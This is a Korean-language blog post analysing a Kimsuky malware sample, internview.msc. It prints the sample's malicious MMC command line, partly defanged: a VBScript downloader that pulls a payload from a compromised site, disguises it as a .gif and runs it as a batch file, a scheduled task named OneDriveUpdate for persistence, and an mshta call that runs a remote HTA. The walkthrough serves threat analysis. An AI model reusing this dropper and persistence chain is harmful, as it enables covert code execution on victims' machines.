꿈을꾸는 파랑새

오늘은 김정은 팬티 사려고 앵벌이 하고 대동강 뷰 감상을 하려고 열심히 노력을 하는 북한 정찰총국 산하 해킹 단체인 김수키(Kimsuky)에서 만든 악성코드 인 internview.msc에 대해서 알아보겠습니다.
해당 악성코드는 MMC(Microsoft Management Console,MMC)은 Windows의 관리 도구들을 통합적으로 실행하고 관리하기 위한 프레임워크를 악용을 해서 만든 악성코드로 1년 전인가 사용을 했던 방식을 사용하고 있습니다.
파일명:internview.msc
사이즈:1 MB
MD5:04ef29637c2853fe4fb7697964d3ca89
SHA-1:63724097ac76ae002721444a0f279facb334a9a7
SHA-256:f3ad2613c91bcdba2dec12572be1a7c3051576f77fab8c0f69a9db769d6aec2e

악성코드 실행시 화면
악성코드 실행시 화면

악성코드 내용

<ConsoleTaskpad ListSize="Medium" IsNodeSpecific="true" ReplacesDefaultView="true" No
Results=
"true" DescriptionsAsText="true" NodeType="{C96401CE-0E17-11D3-885B-00C04F72C717}" ID
="{656F3A6A-1A63-4FC4-9C9B-4B75AF6DF3A3}">
      <String Name="Name" ID="4"/>
      <String Name="Description" Value=""/>
      <String Name="Tooltip" Value=""/>
      <Tasks>
        <Task Type="CommandLine" Command="cmd.exe">
          <String Name="Name" ID="5"/>
          <String Name="Description" ID="11"/>
          <Symbol>
            <Image Name="Small" BinaryRefIndex="6"/>
            <Image Name="Large" BinaryRefIndex="7"/>
          </Symbol>
          <Comm??dLine Directory="" Windo???ate="M?mized" Params="/c mo?e 15,1&am
          p;start explorer &quot;hxXps://docs(.)google(.)co?/document/d/1R3zhXXsPP
          Wg3an0aV1SqdjlS???M17L2/edit???sp=sharing&amp;ouid=110632???441029120327
          2&amp;rtpof=true&???;sd=??ue&quot;&amp;echo ??? Error R????e Ne????et ws = C???ct(
          &quo????Shell&quot;):Set fs = Cr????ct(&quot;???pting.FileSys???Object&q?ot;):Set 
          Post0 = CreateObject(&q????;msxml2.xmlhttp&quot;):gpath = ws.Expan????en?gs(&quot;
          %appdata%&quot;) + &quot;\Microsoft\sus.gif&quot;:bpath = ws.???andEnvi?????ntStri
          ngs(&quot;%appdata%&quot;) + &quot;\M???soft\sus(.)bat&quot;:If fs.FileExists(gpat
          h) Then:re=fs.movefile(gp??):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:P??
          ?t0.open &quot;GET&quot;, &quot;hxxps://orientedworld(.)com/wp-content/plugins/hea
          lth-check/pages/gorgon1/d(.)php?na=ba???p&quot;,False: Po?t0.setRe??estHeader &quo
          t;Content-Type&quot;, &quot;application/x-www-form-urlenco?d&quot;:Post0.Send:t0=P
          ost0.responseText:Set f = fs.CreateTextFile(gpath,True):f.Wri?e(t0):f.Close:E?d If
          :&gt;&quot;C:\Users\Pu?lic\Pictures\?emp(.)v?s&quot;&amp;schtasks /create /tn OneD
          riveUpdate /tr &quot;wscript(.)exe /b &quot;C:\Users\Public\Pictures\temp.vbs&quot
          ;&quot; /sc minute /mo 41 /f&amp;start /min mshta hxxps://orientedworld(.)com/wp-co
          ?ent/plugins/health-check/p
          ages/gorgon1/ttt(.)hta"/>

악성코드 분석

악성코드 실행시 실행 되는 모습
악성코드 실행시 실행 되는 모습

1.mode 15,1:콘솔 모드(화면 크기 등)를 바꾸는 명령
단순히 잡음일 수 있음(시각적 변화 또는 디버깅 회피)
2. start explorer hxxps://docs(.)google.com/...
구글 드라이브 링크에서 문서를 보여주는데 해당 사이트 접속 시 구글 정책 위반으로 차단
3.echo On Error Resume Next:
WScript.Shell,Scripting.FileSystemObject,msxml2.xmlhttp 생성
gpath = %appdata%\Microsoft\sus.gif(드롭파일 경로)
bpath = %appdata%\Microsoft\sus.bat(실행 배치 경로)
만약 sus.gif가 존재하면 move->.bat 로 변경 후 ws.run(bpath,0,true)로 창이 보이지 않게 실행
파일이 존재하지 않을 때 Post0.open "GET", hxxps://orientedworld(.)com/.../d.php?na=battmp 요청해서 응답을 t0 에 넣고 sus.gif  저장
즉: 원격에서 페이로드(스크립트/배치)를 가져와 .gif로 은닉 저장
4.C:\Users\Public\Pictures\temp.vbs
 VBScript 체인을 > 리다이렉션으로 temp.vbs에 쓰는 부분
5.schtasks /create /tn OneDriveUpdate /tr "wscript.exe /b "C:\Users\Public\Pictures\temp.vbs"" /sc minute /mo 41 /f
스케줄러에 OneDriveUpdate 라는 이름으로 41분마다 temp.vbs 를 wscript.exe 로 실행하도록 강제 등록 당연히 지속성 확보
6.start /min mshta hxxps://orientedworld.com/.../ttt(.)hta
원격 HTA(HTML Application)를 mshta.exe 로 다운로드 및 실행 추가 페이로드 로딩(브라우저 기반 스크립트 실행)

실행시 연결 되는 구글 드라이브 사이트
실행시 연결 되는 구글 드라이브 사이트

.msc가 열리면 cmd.exe 가 Params 실행하여 유인 구글 문서 링크를 열고 msxml2.xmlhttp로 원격 서버에서 페이로드를 받아 %APPDATA%\Microsoft\sus.gif 에 저장하고. gif를 .bat으로 바꿔 실행하고 나서 C:\Users\Public\Pictures\temp.vbs 를 생성(또는 덮어씀)하여 스케줄러(OneDriveUpdate )를 41분마다 실행하도록 등록 mshta로 원격 HTA를 실행

작업 스케쥴러에 등록된 악성코드 지속성 확보
작업 스케쥴러에 등록된 악성코드 지속성 확보

temp.vbs 분석

1. 오류 무시:On Error Resume Next->실패해도 다음 줄 계속
2.객체 생성:
WScript.Shell(명령 실행, 환경변수 등)
Scripting.FileSystemObject(파일 입출력)
msxml2.xmlhttp (HTTP 요청)
3.경로 설정:
gpath = C:\Users\숙청\AppData\Roaming\Microsoft\sus.gif
bpath = C:\Users\숙청\AppData\Roaming\Microsoft\sus.bat(실행용 배치 파일 경로)
4. 조건 분기:
sus(.)gif가 이미 존재할 때 파일 이름을 sus.bat 로 덮어쓰기고->sus.bat 를 ws.run(bpath,0,true) 로 백그라운드 실행후 배치 삭제
sus.gif가 존재하지 않으며: hxxps://orientedworld(.)com/.../d(.)php?na=battmp 에서 GET 요청으로 응답(텍스트)을 받아 sus.gif 로 생성
5.결과:원격에서 가져온 콘텐츠를 sus.gif 로 저장하고 이미 있으면 .bat 으로 바꿔 실행->원격 페이로드 실행 흐름
ttt(.)hta 가 뭐 하는지 알아야 하는데…. 해당 방통위에서 차단과 VPN을 통해서 접속해도 이미 해당 사이트는 파괴되었어 모르겠습니다. 일단 방통위에서 차단한 것 보니까? 한국인을 대상으로 한 것이 아닐까? 생각이 됩니다.
일단 개인정보 털려고 하는 것이 아닐까? 생각이 됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band